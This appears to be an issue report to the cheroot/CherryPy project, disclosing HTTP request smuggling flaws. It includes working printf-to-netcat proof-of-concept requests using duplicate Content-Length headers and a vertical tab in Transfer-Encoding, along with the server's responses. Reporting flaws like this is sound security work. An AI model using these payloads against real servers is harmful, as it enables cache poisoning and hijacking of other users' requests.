cheroot
cheroot copied to clipboard
Non-proper handling of Content-Length and Transfer-Encoding headers
It seems like cherrypy is vulnerable to HTTP Request Smuggling. Potential HTTP pipelining issues and request smuggling attacks might be possible due to cheroot not correctly responding to HTTP requests.
1) Double Content-Length Headers
When presented with two content-length headers, cheroot ignored the first header. When the second content-length was set to zero, it caused cheroot to interpret the request body as a pipelined request.
According to RFC 7230 Section 3.3.3#4, if a message is received with multiple content-length headers with differing value, then the server must reject the message with a 400 response.
Request:
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Content-Length: 1\r\n'\
'\r\n'\
'abc\r\n'\
'\r\n'\
| nc 127.0.0.1 8080
Response:
HTTP/1.1 200 OK
Date: Wed, 01 Apr 2020 10:12:37 GMT
Content-Length: 13
Content-Type: text/html;charset=utf-8
Server: CherryPy/17.4.2
Hello World!
HTTP/1.1 400 Bad Request
Content-Length: 22
Content-Type: text/plain
Request:
printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Content-Length: 1\r\n'\
'Content-Length: 5\r\n'\
'\r\n'\
'abc\r\n'\
'\r\n'\
| nc 127.0.0.1 8080
Response:
HTTP/1.1 200 OK
Date: Wed, 01 Apr 2020 10:15:06 GMT
Content-Length: 13
Content-Type: text/html;charset=utf-8
Server: CherryPy/17.4.2
Hello World!
so
Request:
printf 'GET / HTTP/1.1\r\n'\
'Host: localhost\r\n'\
'Content-Length: 1\r\n'\
'Content-Length: 0\r\n'\
'\r\n'\
'GET /smuggle HTTP/1.1\r\n'\
'Host: localhost\r\n'\
'\r\n'\
|nc 127.0.0.1 8080
As shown above, both the / and the smuggled request to the /smuggle were successfully resolved.
See this for an example https://know.bishopfox.com/advisories/twisted-version-19.10.0
2) Invalid Transfer-Encoding
In this request we have a \x0b (vertical tab) before the "chunked" string (note: \x0c aka form feed also works).
Content-Length: 10
Transfer-Encoding: [\x0b]chunked
For clarity:
0x0b == vertical tab
Would get parsed by Cheroot as being a chunked request, but a front-end server would use the Content-Length instead as the Transfer-Encoding header is considered invalid due to containing invalid characters.
If a front-end server does HTTP pipelining to a backend CherryPy server this could lead to HTTP request splitting which may lead to potential cache poisoning or unexpected information disclosure.
According to RFC7230 section 3.3.2: Each header field consists of a case-insensitive field name followed by a colon (":"), optional leading whitespace, the field value, and optional trailing whitespace.
And RFC7230 section 3.2.4 adds (bold added): No whitespace is allowed between the header field-name and colon. In the past, differences in the handling of such whitespace have led to security vulnerabilities in request routing and response handling. A server MUST reject any received request message that contains whitespace between a header field-name and colon with a response code of 400 (Bad Request). A proxy MUST remove any such whitespace from a response message before forwarding the message downstream.
Request:
printf 'POST / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Transfer-Encoding\x0b: chunked\r\n'\
'Content-Type: application/x-www-form-urlencoded\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
| nc 127.0.0.1 8080
or :
printf 'POST / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Transfer-Encoding: \x0bchunked\r\n'\
'Content-Type: application/x-www-form-urlencoded\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
| nc 127.0.0.1 8080
Response:
HTTP/1.1 200 OK
Date: Wed, 01 Apr 2020 10:20:48 GMT
Content-Length: 13
Content-Type: text/html;charset=utf-8
Server: CherryPy/17.4.2
Hello World!
See this for an example https://nathandavison.com/blog/haproxy-http-request-smuggling
Environment:
Cheroot version: 8.3.0
CherryPy version: 17.4.2
Python version: Python 2.7.10
OS: Mac OS 10.12.6
More info on smuggling attacks: https://hackerone.com/reports/648434 https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn